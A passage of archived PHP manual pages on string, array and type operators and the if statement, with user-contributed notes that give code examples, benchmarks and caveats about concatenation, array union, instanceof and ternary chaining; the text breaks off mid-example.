I thought string operators were for use with strings or strings and numbers.  But that is incorrect.  You can use the '.' operator to concatenate two numbers, as follows:

echo 1 . 2;

I assume that behind the scenes the 1 and 2 are converted to strings to allow the concatenation.  What triggers the conversion? I'll guess the dot operator.
kevin at metalaxe dot com 09-Nov-2006 06:57
I ran the follow script and found that using "$var" was 'mostly' slower than using ' '.$var

<?php
$var = 1;

for( $x=0; $x < 101; $x++ )
{
    echo '<br /><br />var = int( '.$var.' )<br />';

    $timer->reset();
    for( $i=0; $i<100001; $i++ )
    {
        $string = " {$var} {$var} {$var} {$var} {$var} {$var} {$var} {$var} {$var} {$var} {$var} {$var} {$var} {$var} {$var}";
        unset( $string );
    }
    echo 'One string with 15 $vars was set using one concat 100000 times and took '.$timer->fetch_time().' seconds to execute <br />';

    $timer->reset();
    for( $i=0; $i<100001; $i++ )
    {
        $string = ' '.$var.' '.$var.' '.$var.' '.$var.' '.$var.' '.$var.' '.$var.' '.$var.' '.$var.' '.$var.' '.$var.' '.$var.' '.$var.' '.$var.' '.$var;
        unset( $string );
    }
    echo 'One string with 15 instances of $var was set using multiple concats 100000 times and took '.$timer->fetch_time().' seconds to execute';
}
exit();
?>

Replacing $timer with a generic timing class of course.
caliban at darklock dot com 29-Mar-2006 11:10
WRT Stephen's note:

My example of concatenation and array methods of string building does not include the interstitial logic, which is expected to include conditionals.

Concatenation method:

$str="This is my list";
if($list=="o") $str.="<ol>";
else $str.="<ul>";
foreach($item as $i) $str.="<li>$i</li>";
if($list=="o") $str.="</ol>";
else $str.="</ul>";

Array method:

$str=array("This is my list");
if($list=="o") $str[]="<ol>";
else $str[]="<ul>";
foreach($item as $i) $str[]="<li>$i</li>";
if($list=="o") $str[]="</ol>";
else $str[]="</ul>";
$str=implode("",$str);

You can't do either of these with a single double-quoted string. However, if what you are doing CAN be done in a single double-quoted string, Stephen is completely correct in observing that you should do that instead of concatenating.
Stephen Clay 23-Dec-2005 07:10
<?php
"{$str1}{$str2}{$str3}"; // one concat = fast
  $str1. $str2. $str3;   // two concats = slow
?>
Use double quotes to concat more than two strings instead of multiple '.' operators.  PHP is forced to re-concatenate with every '.' operator.
caliban at darklock dot com 15-Dec-2004 07:57
String concatenation is faster than the array method:

$str="";
$str.="Some string";
$str.="Some other string";
...
$str.="The last string";

That runs roughly twice as fast as:

$str=array();
$str[]="Some string";
$str[]="Some other string";
...
$str[]="The last string";
$str=implode("",$str);

Not that I think this is a terribly widespread practice, but I've got an awful lot of legacy code with this array method in it and a comment to the effect that it's faster than string concatenation. Testing has shown the exact opposite, so I figured I'd enlighten anyone else with this misconception.
anders dot benke at telia dot com 27-Apr-2004 09:53
A word of caution - the dot operator has the same precedence as + and -, which can yield unexpected results.

Example:

<php
$var = 3;

echo "Result: " . $var + 3;
?>

The above will print out "3" instead of "Result: 6", since first the string "Result3" is created and this is then added to 3 yielding 3, non-empty non-numeric strings being converted to 0.

To print "Result: 6", use parantheses to alter precedence:

<php
$var = 3;

echo "Result: " . ($var + 3);
?>
Logical Operators
Array Operators
Operators


Array Operators

Array Operators
Example | Name | Result
$a + $b | Union | Union of $a and $b.
$a == $b | Equality | TRUE if $a and $b have the same key/value pairs.
$a === $b | Identity | TRUE if $a and $b have the same key/value pairs in the same order and of the same types.
$a != $b | Inequality | TRUE if $a is not equal to $b.
$a <> $b | Inequality | TRUE if $a is not equal to $b.
$a !== $b | Non-identity | TRUE if $a is not identical to $b.

The + operator returns the right-hand array appended to the left-hand array; for keys that exist in both arrays, the elements from the left-hand array will be used, and the matching elements from the right-hand array will be ignored.

<?php
$a = array("a" => "apple", "b" => "banana");
$b = array("a" => "pear", "b" => "strawberry", "c" => "cherry");

$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
var_dump($c);

$c = $b + $a; // Union of $b and $a
echo "Union of \$b and \$a: \n";
var_dump($c);
?>
When executed, this script will print the following:
Union of $a and $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}
Union of $b and $a:
array(3) {
  ["a"]=>
  string(4) "pear"
  ["b"]=>
  string(10) "strawberry"
  ["c"]=>
  string(6) "cherry"
}

Elements of arrays are equal for the comparison if they have the same key and value.

Example #1 Comparing arrays

<?php
$a = array("apple", "banana");
$b = array(1 => "banana", "0" => "apple");

var_dump($a == $b); // bool(true)
var_dump($a === $b); // bool(false)
?>

See also the manual sections on the Array type and Array functions.

User Contributed Notes

cb at netalyst dot com 15-Oct-2008 11:39
The union operator did not behave as I thought it would on first glance. It implements a union (of sorts) based on the keys of the array, not on the values.

For instance:
<?php
$a = array('one','two');
$b=array('three','four','five');

//not a union of arrays' values
echo '$a + $b : ';
print_r ($a + $b);

//a union of arrays' values
echo "array_unique(array_merge($a,$b)):";
// cribbed from http://oreilly.com/catalog/progphp/chapter/ch05.html
print_r (array_unique(array_merge($a,$b)));
?>

//output

$a + $b : Array
(
    [0] => one
    [1] => two
    [2] => five
)
array_unique(array_merge(Array,Array)):Array
(
    [0] => one
    [1] => two
    [2] => three
    [3] => four
    [4] => five
)
csaba at alum dot mit dot edu 24-Jun-2008 08:54
Simple array arithmetic:
A more compact way of adding or subtracting the elements at identical keys...

<?php
function array_add($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  foreach (array_slice(func_get_args(), 1) as $aRay) {
    foreach (array_intersect_key($aRay, $aRes) as $key => $val) $aRes[$key] += $val;
    $aRes += $aRay; }
  return $aRes; }

function array_subtract($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  foreach (array_slice(func_get_args(), 1) as $aRay) {
    foreach (array_intersect_key($aRay, $aRes) as $key => $val) $aRes[$key] -= $val;
    foreach (array_diff_key($aRay, $aRes) as $key => $val) $aRes[$key] = -$val; }
  return $aRes; }

Example:
$a1 = array(9, 8, 7);
$a2 = array(1=>7, 6, 5);
$a3 = array(2=>5, 4, 3);

$aSum = array_add($a1, $a2, $a3);
$aDiff = array_subtract($a1, $a2, $a3);

// $aSum  => [9, 15, 18, 9, 3]
// $aDiff => [9, 1, -4, -9, -3]
?>

To make a similar function, array_concatenate(), change only the first of the two '+=' in array_add() to '.='
Csaba Gabor from Vienna
csaba at alum dot mit dot edu 13-Dec-2007 01:42
Simple array arithmetic:
If you want to add or subtract the elements at identical keys...

<?php
function array_add($a1, $a2) {  // ...
  // adds the values at identical keys together
  $aRes = $a1;
  $aRays = func_get_args();
  for ($i=1;$i<sizeof($aRays);++$i) {
    $aRay = $aRays[$i];
    foreach ($aRay as $key => $val)
      if (array_key_exists($key, $aRes))
        $aRes[$key] += $aRay[$key];
    $aRes += $aRay; }
  return $aRes; }

function array_subtract($a1, $a2) {  // ...
  // subtracts the values at identical keys from the corresponding value in $a1
  $aRes = $a1;
  $aRays = func_get_args();
  for ($i=1;$i<sizeof($aRays);++$i) {
    $aRay = $aRays[$i];
    foreach ($aRay as $key => $val) {
      if (array_key_exists($key, $aRes)) $aRes[$key] -= $aRay[$key];
      else $aRes[$key] = -$aRay[$key]; } }
  return $aRes; }

Example:
$a1 = array(9, 8, 7);
$a2 = array(1=>7, 6, 5);
$a3 = array(2=>5, 4, 3);

$aSum = array_add($a1, $a2, $a3);
$aDiff = array_subtract($a1, $a2, $a3);

// $aSum  => [9, 15, 18, 9, 3]
// $aDiff => [9, 1, -4, -9, -3]
?>

To make a similar function, array_concatenate(), change the first += only in array_add() to .=
Csaba Gabor from Vienna
Q1712 at online dot ms 20-Apr-2007 05:54
The example may get u into thinking that the identical operator returns true because the key of apple is a string but that is not the case, cause if a string array key is the standart representation of a integer it's gets a numeral key automaticly.

The identical operator just requires that the keys are in the same order in both arrays:

<?php
$a = array (0 => "apple", 1 => "banana");
$b = array (1 => "banana", 0 => "apple");

var_dump($a === $b); // prints bool(false) as well

$b = array ("0" => "apple", "1" => "banana");

var_dump($a === $b); // prints bool(true)
?>
puneet singh @ value-one dot com 18-Jan-2006 10:42
hi  just see one more example of union....

<?php
$a = array(1,2,3);
$b = array(1,7,8,9,10);
$c = $a + $b; // Union of $a and $b
echo "Union of \$a and \$b: \n";
//echo $c
print_r($c);
?>
//output
Union of $a and $b: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 9 [4] => 10 )
kit dot lester at lycos dot co dot uk 21-Aug-2005 09:01
When comparing arrays that have (some or all) element-values that are themselves array, then in PHP5 it seems that == and === are applied recursively - that is
 * two arrays satisfy == if they have the same keys, and the values at each key satisfy == for whatever they happen to be (which might be arrays);
 * two arrays satisfy === if they have the same keys, and the values at each key satisfy === for whatever (etc.).

Which explains what happens if we compare two arrays of arrays of arrays of...

Likewise, the corresponding inversions for != <> and !==.

I've tested this to array-of-array-of-array, which seems fairly convincing. I've not tried it in PHP4 or earlier.
kit dot lester at lycos dot co dot uk 21-Aug-2005 08:44
This manual page doesn't mention < & co for arrays, but example 15-2 in
    http://www.php.net/manual/en/language.operators.comparison.php
goes to some lengths to explain how they work.
Peter 29-Oct-2004 07:57
The code from texbungalow at web dot de below is slightly incorrect.  If my memory from primary school history is correct, roman numerals don't allow things like MIM - it has to be MCMXCIX, ie each step is only 1 level down (sorry, I can't explain it very well.

a print_r($segments) comparing the snippets should explain.

Corrected code:
<?php
function roman ($nr ) {
     $base_digits= array (
           1=> "I",
           10=> "X",
           100=> "C",
           1000=> "M",
           );
     $help_digits= array (
           5=> "V",
           50=> "L",
           500=> "D",
           );
     $all_digits= $base_digits+ $help_digits;
     foreach ($base_digits as $key1=> $value1 )
           foreach ($all_digits as $key2=> $value2 )
                 if ($key1< $key2 && $key1 >= ($key2 / 10))
                       $segments[$key2- $key1 ]= $value1. $value2;
     $segments+= $all_digits;
     krsort ($segments );
     foreach ($segments as $key=> $value )
           while ($key<= $nr ) {
                 $nr-= $key;
                 $str.= $value;
                 }
     return $str;
     }
echo roman (1998);   //  prints MCMXCVIII
?>
dfranklin at fen dot com 22-Apr-2004 01:40
Note that + will not renumber numeric array keys.  If you have two numeric arrays, and their indices overlap, + will use the first array's values for each numeric key, adding the 2nd array's values only where the first doesn't already have a value for that index.  Example:

$a = array('red', 'orange');
$b = array('yellow', 'green', 'blue');
$both = $a + $b;
var_dump($both);

Produces the output:

array(3) { [0]=>  string(3) "red" [1]=>  string(6) "orange" [2]=>  string(4) "blue" }

To get a 5-element array, use array_merge.

    Dan
texbungalow at web dot de 26-Apr-2003 06:46
use '+=' to quickly append an array to another one:

function roman ($nr ) {
      $base_digits= array (
            1=> "I",
            10=> "X",
            100=> "C",
            1000=> "M",
            );
      $help_digits= array (
            5=> "V",
            50=> "L",
            500=> "D",
            );
      $all_digits= $base_digits+ $help_digits;
      foreach ($base_digits as $key1=> $value1 )
            foreach ($all_digits as $key2=> $value2 )
                  if ($key1< $key2 )
                        $segments[$key2- $key1 ]= $value1. $value2;
      $segments+= $all_digits;
      krsort ($segments );
      foreach ($segments as $key=> $value )
            while ($key<= $nr ) {
                  $nr-= $key;
                  $str.= $value;
                  }
      return $str;
      }

echo roman (888);   //  prints DCCCLXXXVIII
amirlaher AT yahoo DOT co SPOT uk 09-Dec-2002 10:41
[]= could be considered an Array Operator (in the same way that .= is a String Operator).
[]= pushes an element onto the end of an array, similar to array_push:
<?
  $array= array(0=>"Amir",1=>"needs");
  $array[]= "job";
  print_r($array);
?>
Prints: Array ( [0] => Amir [1] => needs [2] => job )
String Operators
Type Operators
Operators


Type Operators

instanceof is used to determine whether a PHP variable is an instantiated object of a certain class:

Example #1 Using instanceof with classes

<?php
class MyClass
{
}

class NotMyClass
{
}
$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof NotMyClass);
?>

The above example will output:

bool(true)
bool(false)

instanceof can also be used to determine whether a variable is an instantiated object of a class that inherits from a parent class:

Example #2 Using instanceof with inherited classes

<?php
class ParentClass
{
}

class MyClass extends ParentClass
{
}

$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof ParentClass);
?>

The above example will output:

bool(true)
bool(true)

To check if an object is not an instanceof a class, the logical not operator can be used.

Example #3 Using instanceof to check if object is not an instanceof a class

<?php
class MyClass
{
}

$a = new MyClass;
var_dump(!($a instanceof stdClass));
?>

The above example will output:

bool(true)

Lastly, instanceof can also be used to determine whether a variable is an instantiated object of a class that implements an interface:

Example #4 Using instanceof for class

<?php
interface MyInterface
{
}

class MyClass implements MyInterface
{
}

$a = new MyClass;

var_dump($a instanceof MyClass);
var_dump($a instanceof MyInterface);
?>

The above example will output:

bool(true)
bool(true)

Although instanceof is usually used with a literal classname, it can also be used with another object or a string variable:

Example #5 Using instanceof with other variables

<?php
interface MyInterface
{
}

class MyClass implements MyInterface
{
}

$a = new MyClass;
$b = new MyClass;
$c = 'MyClass';
$d = 'NotMyClass';

var_dump($a instanceof $b); // $b is an object of class MyClass
var_dump($a instanceof $c); // $c is a string 'MyClass'
var_dump($a instanceof $d); // $d is a string 'NotMyClass'
?>

The above example will output:

bool(true)
bool(true)
bool(false)

There are a few pitfalls to be aware of. Before PHP version 5.1.0, instanceof would call __autoload() if the class name did not exist. In addition, if the class was not loaded, a fatal error would occur. This can be worked around by using a dynamic class reference, or a string variable containing the class name:

Example #6 Avoiding classname lookups and fatal errors with instanceof in PHP 5.0

<?php
$d = 'NotMyClass';
var_dump($a instanceof $d); // no fatal error here
?>

The above example will output:

bool(false)

The instanceof operator was introduced in PHP 5. Before this time is_a() was used but is_a() has since been deprecated in favor of instanceof. Note that as of PHP 5.3.0, is_a() is no longer deprecated.

See also get_class() and is_a().

User Contributed Notes

Sudarshan Wadkar 15-Dec-2011 04:34
I don't see any mention of "namespaces" on this page so I thought I would chime in. The instanceof operator takes FQCN as second operator when you pass it as string and not a simple class name. It will not resolve it even if you have a `use MyNamespace\Bar;` at the top level. Here is what I am trying to say:

## testinclude.php ##
<?php
namespace Bar1;
{
class Foo1{ }
}
namespace Bar2;
{
class Foo2{ }
}
?>
## test.php ##
<?php
include('testinclude.php');
use Bar1\Foo1 as Foo;
$foo1 = new Foo(); $className = 'Bar1\Foo1';
var_dump($foo1 instanceof Bar1\Foo1);
var_dump($foo1 instanceof $className);
$className = 'Foo';
var_dump($foo1 instanceof $className);
use Bar2\Foo2;
$foo2 = new Foo2(); $className = 'Bar2\Foo2';
var_dump($foo2 instanceof Bar2\Foo2);
var_dump($foo2 instanceof $className);
$className = 'Foo2';
var_dump($foo2 instanceof $className);
?>
## stdout ##
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
jmullee at yahoo dot com 14-Apr-2011 06:29
returns true for any ancestor class, not just immediate superclasses.

php -r "class Mammal{}; class Primate extends Mammal {}; class Human extends Primate{}; \$h=new Human(); echo (\$h instanceof Mammal)?'Yes':'no';"

Yes
Jennifer 31-Mar-2011 06:40
I was getting frustrated by instanceof not taking a string for its first argument so I wrote this function that takes strings or objects for both args and deals with both classes and interfaces.  I hope it's useful to someone.

<?php
/**
 * @desc: replacement for instanceof that accept strings or objects for both args
 * @param: Mixed $object- string or Object
 * @param: Mixed $class- string or Object
 * @return: Boolean
 */
function oneof($object, $class){
    if(is_object($object)) return $object instanceof $class;
    if(is_string($object)){
        if(is_object($class)) $class=get_class($class);

        if(class_exists($class)) return is_subclass_of($object, $class) || $object==$class;
        if(interface_exists($class)) {
            $reflect = new ReflectionClass($object);
            return !$reflect->implementsInterface($class);
        }

    }
    return false;
}
?>
fbableus 18-Mar-2011 06:05
If you want to test if a classname is an instance of a class, the instanceof operator won't work.

<?php
$classname = 'MyClass';
if( $classname instanceof MyParentClass) echo 'Child of it';
else echo 'Not child of it';
?>

Will always output
Not child of it

You must use a ReflectionClass :
<?php
$classname = 'MyClass';
$myReflection = new ReflectionClass($classname);
if( $myReflection->isSubclassOf('MyParentClass')) echo  'Child of it';
else echo 'Not child of it';
?>

Will output the good result.
If you're testing an interface, use implementsInterface() instead of isSublassOf().
mauritsdajong at gmail dot com 13-Aug-2010 03:38
Sometimes you want to typehint objects INSIDE an array, but I think you can't.

Instead, you can use this function to check the classes inside this array:

<?php

public checkObjectsArray(array $array, $classname, $strict = false) {
    if (!$strict) {
        foreach ($array as $element) {
            if (!($element instanceof $classname)) {
                return false;
            }
        }
    }
    else {
        foreach ($array as $element) {
            if (get_class($element) != $classname) {
                return false;
            }
        }
    }
    return true;
}

?>
phil dot taylor at gmail dot com 15-Jul-2010 04:13
It seems like instanceOf is using a string comparison. Longer class names take longer to check in conditional statements

eg.

if ($f instanceOf HelloWorldTestClass)

is much slower than

if ($f instanceOf HWT)
jtaal at eljakim dot nl 17-Nov-2008 05:37
You can use "self" to reference to the current class:

<?php
class myclass {
    function mymethod($otherObject) {
        if ($otherObject instanceof self) {
            $otherObject->mymethod(null);
        }
        return 'works!';
    }
}

$a = new myclass();
print $a->mymethod($a);
?>
kevin dot benton at beatport dot com 21-Aug-2008 09:31
Example #5 could also be extended to include...

var_dump($a instanceof MyInterface);

The new result would be

bool(true)

So - instanceof is smart enough to know that a class that implements an interface is an instance of the interface, not just the class.  I didn't see that point made clearly enough in the explanation at the top.
ejohnson82 at gmail dot com 18-Jan-2008 01:59
The PHP parser generates a parse error on either of the two lines that are commented out here.
Apparently the 'instanceof' construct will take a string variable in the second spot, but it will NOT take a string... lame

class Bar {}
$b = new Bar;
$b_class = "Bar";
var_export($b instanceof Bar); // this is ok
var_export($b instanceof $b_class); // this is ok
//var_export($f instanceof "Bar"); // this is syntactically illegal
//var_export($f instanceof 'Bar'); // this is syntactically illegal
julien plee using g mail dot com 20-Jul-2007 06:56
Response to vinyanov at poczta dot onet dot pl:

You mentionned "the instanceof operator will not accept a string as its first operand". However, this behavior is absolutely right and therefore, you're misleading the meaning of an instance.

<?php 'ClassA' instanceof 'ClassB'; ?> means "the class named ClassA is an instance of the class named ClassB". This is a nonsense sentence because when you instanciate a class, you ALWAYS obtain an object. Consequently, you only can ask if an object is an instance of a class.

I believe asking if "a ClassA belongs to a ClassB" (or "a ClassA is a class of (type) ClassB") or even "a ClassA is (also) a ClassB" is more appropriate. But the first is not implemented and the second only works with objects, just like the instanceof operator.

Plus, I just have tested your code and it does absolutely NOT do the same as instanceof (extended to classes)! I can't advise anyone to reuse it. The use of <?php is_instance_of ($instanceOfA, 'ClassB'); ?> raises a warning "include_once(Object id #1.php) …" when using __autoload (trying to look for $instanceOfA as if it was a class name).

Finally, here is a fast (to me) sample function code to verify if an object or class:

<?php
function kind_of (&$object_or_class, $class)
{
    return is_object ($object_or_class) ?
        $object_or_class instanceof $class
        : (is_subclass_of ($object_or_class $class)
           || strtolower ($object_or_class) == strtolower ($class));
}
?>
jphaas at gmail dot com 11-Jul-2007 10:50
Posting this so the word typeof appears on this page, so that this page will show up when you google 'php typeof'.  ...yeah, former Java user.
vinyanov at poczta dot onet dot pl 19-Jun-2007 03:57
Unfortunately the instanceof operator will not accept a string as its first operand. So I wrote this function. It does exactly the same (ie, successively checks identicalness, inheritance and implementation). Just on strings.

<?php

function is_instance_of($sub, $super)
{
    $sub = (string)$sub;
    $super = is_object($super) ? get_class($super) : (string)$super;

    switch(true)
    {
        case $sub === $super; // well ... conformity
        case is_subclass_of($sub, $super):
        case in_array($super, class_implements($sub)):
            return true;
        default:
            return false;
    }
}

// testing

interface X {}
class A {}
class B extends A {}
class C extends B {}
class D implements X {}

$i = 'is_instance_of';
var_dump($i('A', 'A'), $i('B', 'A'), $i('C', 'A'), $i('D', 'X'));

?>
jeanyves dot terrien at orange-ftgroup dot com 13-Mar-2007 12:34
Cross version function even if you are working in php4
(instanceof is an undefined operator for php4)

   function isMemberOf($classename) {
      $ver = floor(phpversion());
      if($ver > 4) {
         $instanceof = create_function ('$obj,$classname','return $obj instanceof $classname;');
         return $instanceof($this,$classname);
      } else {
         // Php4 uses lowercase for classname.
         return is_a($this, strtolower($classname));
      }
   } // end function isMemberOf
soletan at toxa dot de 03-Mar-2007 04:04
Please note: != is a separate operator with separate semantics. Thinking about language grammar it's kind of ridicilous to negate an operator. Of course, it's possible to negate the result of a function (like is_a()), since it isn't negating the function itself or its semantics.

instanceof is a binary operator, and so used in binary terms like this

terma instanceof termb

while ! (negation) is a unary operator and so may be applied to a single term like this

!term

And a term never consists of an operator, only! There is no such construct in any language (please correct me!). However, instanceof doesn't finally support nested terms in every operand position ("terma" or "termb" above) as negation does:

!!!!!!!!!!!!!!term == term

So back again, did you ever write

a !!!!!!!!!!!!= b

to test equivalence?
mikael dot knutsson at gmail dot com 05-Dec-2006 08:34
I can confirm what thisbizness at gmail dot com said just below in PHP 5.2, furthermore, people looking to use this as a "if $a is not instance of A" for error throwing purposes or other, just type it like this:
<?php
if( !$a instanceof A ) {
    throw new Exception( '$a is not instance of A.' );
}
?>

This also works if $a is not an object, or not even set (you will get an E_NOTICE if it isn't set though).
A note worth making is that if you are unsure of if class A is present when making this comparison, and you don't want to trigger the __autoload() magic method, scroll down for examples of how to get around this.

I was unsure about it at first since most other operators have their own negative (like !=) or they are/can be used as function calls (like !is_a()) but it is this simple. Hope it helps someone.

Until again!
archanglmr at yahoo dot com 17-Feb-2005 06:37
Negated instanceof doesn't seem to be documented. When I read instanceof I think of it as a compairson operator (which I suppose it's not).

<?php
class A {}
class X {}

//parse error from !
if (new X !instanceof A) {
    throw new Exception('X is not an A');
}
//proper way to negate instanceof ?
if (!(new X instanceof A)) {
    throw new Exception('X is not an A');
}
?>
d dot schneider at 24you dot de 18-Dec-2004 12:42
use this for cross-version development...

<?php

function is_instance_of($IIO_INSTANCE, $IIO_CLASS){
    if(floor(phpversion()) > 4){
        if($IIO_INSTANCE instanceof $IIO_CLASS){
            return true;
            }
        else{
            return false;
            }
        }
    elseif(floor(phpversion()) > 3){
        return is_a($IIO_INSTANCE, $IIO_CLASS);
        }
    else{
        return false;
        }
    }

?>
Array Operators
Control Structures
Operators


Control Structures

Table of Contents

  • Introduction
  • if
  • else
  • elseif/else if
  • Alternative syntax for control structures
  • while
  • do-while
  • for
  • foreach
  • break
  • continue
  • switch
  • declare
  • return
  • require
  • include
  • require_once
  • include_once
  • goto

User Contributed Notes

wintermute 29-Aug-2007 12:45
Sinured: You can do the same thing with logical OR; if the first test is true, the second will never be executed.

<?PHP
if (empty($user_id) || in_array($user_id, $banned_list))
{
exit();
}
?>
Sinured 01-Aug-2007 11:59
As mentioned below, PHP stops evaluating expressions as soon as the result is clear. So a nice shortcut for if-statements is logical AND -- if the left expression is false, then the right expression can’t possibly change the result anymore, so it’s not executed.

<?php
/* defines MYAPP_DIR if not already defined */
if (!defined('MYAPP_DIR')) {
    define('MYAPP_DIR', dirname(getcwd()));
}

/* the same */
!defined('MYAPP_DIR') && define('MYAPP_DIR', dirname(getcwd()));
?>
dougnoel 05-May-2006 06:29
Further response to Niels:

It's not laziness, it's optimization.  It saves CPUs cycles.  However, it's good to know, as it allows you to optimize your code when writing.  For example, when determining if someone has permissions to delete an object, you can do something like the following:

if ($is_admin && $has_delete_permissions)

If only an admin can have those permissions, there's no need to check for the permissions if the user is not an admin.
niels dot laukens at tijd dot com 26-Dec-2004 07:49
For the people that know C: php is lazy when evaluating expressions. That is, as soon as it knows the outcome, it'll stop processing.

<?php
if ( FALSE && some_function() )
    echo "something";
// some_function() will not be called, since php knows that it will never have to execute the if-block
?>

This comes in nice in situations like this:
<?php
if ( file_exists($filename) && filemtime($filename) > time() )
    do_something();
// filemtime will never give an file-not-found-error, since php will stop parsing as soon as file_exists returns FALSE
?>
Type Operators
Introduction
Language Reference


Introduction

Any PHP script is built out of a series of statements. A statement can be an assignment, a function call, a loop, a conditional statement or even a statement that does nothing (an empty statement). Statements usually end with a semicolon. In addition, statements can be grouped into a statement-group by encapsulating a group of statements with curly braces. A statement-group is a statement by itself as well. The various statement types are described in this chapter.

User Contributed Notes

There are no user contributed notes for this page.
Control Structures
if
Control Structures


if

(PHP 4, PHP5)

The if construct is one of the most important features of many languages, PHP included. It allows for conditional execution of code fragments. PHP features an if structure that is similar to that of C:

if (expr)
  statement

As described in the section about expressions, expression is evaluated to its Boolean value. If expression evaluates to TRUE, PHP will execute statement, and if it evaluates to FALSE - it'll ignore it. More information about what values evaluate to FALSE can be found in the 'Converting to boolean' section.

The following example would display a is bigger than b if $a is bigger than $b:

<?php
if ($a > $b)
  echo "a is bigger than b";
?>

Often you'd want to have more than one statement to be executed conditionally. Of course, there's no need to wrap each statement with an if clause. Instead, you can group several statements into a statement group. For example, this code would display a is bigger than b if $a is bigger than $b, and would then assign the value of $a into $b:

<?php
if ($a > $b) {
  echo "a is bigger than b";
  $b = $a;
}
?>

If statements can be nested infinitely within other if statements, which provides you with complete flexibility for conditional execution of the various parts of your program.

User Contributed Notes

gung foo priest 22-Jan-2012 08:13
inline if syntax:

echo (True==True) ? 'true' : 'false';

is the same as:

if(True==True) echo 'true';
else echo 'false';
bimal at sanjaal dot com 07-Jul-2011 02:21
PHP compares numbers inside quotations, in an interesting way.
This can create confusions to those who did not refer this manual, but expected something different.

<?php

define('NUMBER', 13);
$number = NUMBER;

if('13_2' == NUMBER) { echo('Why matched?'); };
if('13_2' == "{$number}") { echo('Why not matched?'); }

?>

In the above example, the first comparison matches; that you don't expect.

The second comparison does not match.
lallemand dot mathieu at gmail dot com 31-Mar-2011 06:01
Be careful when you chain inline "if" :

<?php
$x = 1;
$y = 3;
echo ($x==1) ? "One" : ($y == 2) ? "Two" : "None";
?>

Expected result : "One".
Result on screen : "Two".

Pretty disapointing isn't it ?

So, if you want to chain inline "if" you have to use parentesis on each test like below:

<?php
$x=1;
$y=3;
echo ($x==1) ? "One" : ( ($y==2) ? "Two" : "None" );
?>

Result on screen : "One".

Hope it helps !
Donny Nyamweya 11-Feb-2011 08:30
In addition to the traditional syntax for if (condition) action;
I am fond of the ternary operator that does the same thing, but with fewer words and code to type:

(condition ? action_if_true: action_if_false;)

example

(x > y? 'Passed the test' : 'Failed the test')
Christian L. 25-Jan-2011 10:58
An other way for controls is the ternary operator (see Comparison Operators) that can be used as follows:

<?php
$v = 1;

$r = (1 == $v) ? 'Yes' : 'No'; // $r is set to 'Yes'
$r = (3 == $v) ? 'Yes' : 'No'; // $r is set to 'No'

echo (1 == $v) ? 'Yes' : 'No'; // 'Yes' will be printed

// and since PHP 5.3
$v = 'My Value';
$r = ($v) ?: 'No Value'; // $r is set to 'My Value' because $v is evaluated to TRUE

$v = '';
echo ($v) ?: 'No Value'; // 'No Value' will be printed because $v is evaluated to FALSE
?>

Parentheses can be left out in all examples above.
techguy14 at gmail dot com 06-Jan-2011 01:39
You can have 'nested' if statements withing a single if statement, using additional parenthesis.
For example, instead of having:

<?php
if( $a == 1 || $a == 2 ) {
    if( $b == 3 || $b == 4 ) {
        if( $c == 5 || $ d == 6 ) {
             //Do something here.
        }
    }
}
?>

You could just simply do this:

<?php
if( ($a==1 || $a==2) && ($b==3 || $b==4) && ($c==5 || $c==6) ) {
    //do that something here.
}
?>

Hope this helps!
admin at leonard !spam challis dot com 22-Nov-2010 04:41
When using if statements without the curly braces, remember than only one statement will be executed as part of that condition. If you want to place multiple statements you must use curly braces, and not just put them on the same line.

<?php

if (1==0) echo "Test 1."; echo "Test 2";

?>

Whereas some people would expect nothing to be displayed, this piece of code will show: "Test 2".
Rudi 14-Sep-2010 01:14
Note that safe type checking (using === and !== instead of == and !=) is in general somewhat faster. When you're using non-safe type checking and a conversion is really needed for checking, safe type checking is considerably faster.

===================================
Test (100,000,000 runs):
<?php
$start = microtime(true);
for($i = 0; $i < 100000000; $i++)
    if(5 == 10) {}
$end = microtime(true);
echo "1: ".($end - $start)."<br />\n";
unset($start, $end);

$start = microtime(true);
for($i = 0; $i < 100000000; $i++)
    if('foobar' == 10) {}
$end = microtime(true);
echo "2: ".($end - $start)."<br />\n";
unset($start, $end);

$start = microtime(true);
for($i = 0; $i < 100000000; $i++)
    if(5 === 10) {}
$end = microtime(true);
echo "3: ".($end - $start)."<br />\n";
unset($start, $end);

$start = microtime(true);
for($i = 0; $i < 100000000; $i++)
    if('foobar' === 10) {}
$end = microtime(true);
echo "4: ".($end - $start)."<br />\n";
unset($start, $end);
?>

===================================
Result (depending on hardware configuration):
1: 16.779544115067
2: 21.305675029755
3: 16.345532178879
4: 15.991420030594
austinderrick2 at gmail dot com 03-Oct-2009 04:50
As an added note to the guy below, in such a case, use the !== operator like this.

$nkey = array_search($needle, $haystack);

if ($nkey !== false) { ...

The !== and the === compare the "types". So, with this type of comparision, 0 is not the same as the FALSE returned by the array_search array when it can not find a match. :)

Quoted Text:

===================================
Be careful with stuff like

if ($nkey = array_search($needle, $haystack)) { ...

if the returned key is actually the key 0, then the if won't be executed
===================================
jm+phpweb at roth dot lu 28-Aug-2009 02:25
Be careful with stuff like

if ($nkey = array_search($needle, $haystack)) { ...

if the returned key is actually the key 0, then the if won't be executed
strata_ranger at hotmail dot com 04-Apr-2009 05:13
Although most programmers are aware of this already, if for whatever reason you need to 'break' out of an if() block (which, unlike switch() is not considered a looping structure) just wrap it in an appropriate looping structure, such as a do-while(false):

<?php
do if ($foo)
{
  // Do something first...

  // Shall we continue with this block, or exit now?
  if ($abort_if_block) break;

  // Continue doing something...

} while (false);
?>
Anonymous 02-Apr-2009 04:32
If you need to do something when a function return FALSE and nothing when it return TRUE you can do it like that :
<?php
function call()
{
return FALSE;
}

if(call()==TRUE) // or if(call())
{
// nothing to do
}
else
{
// do something here
}
?>

You can also write it like this :
<?php
if(!call()==TRUE) // or if(!call())
{
// do something here
}
// here '!' will invert 'FALSE' (from call()) into 'TRUE'
?>
/!\ WARNING /!\
The '!' only work with booleans !
Check http://fr.php.net/manual/en/language.types.boolean.php to know if you can use '!'

If you want to compare two strings and use '!' be careful how you use it !!!!
<?php
$string1 = "cake";
$string2 = "foo";

if(!$string1==$string2)
{
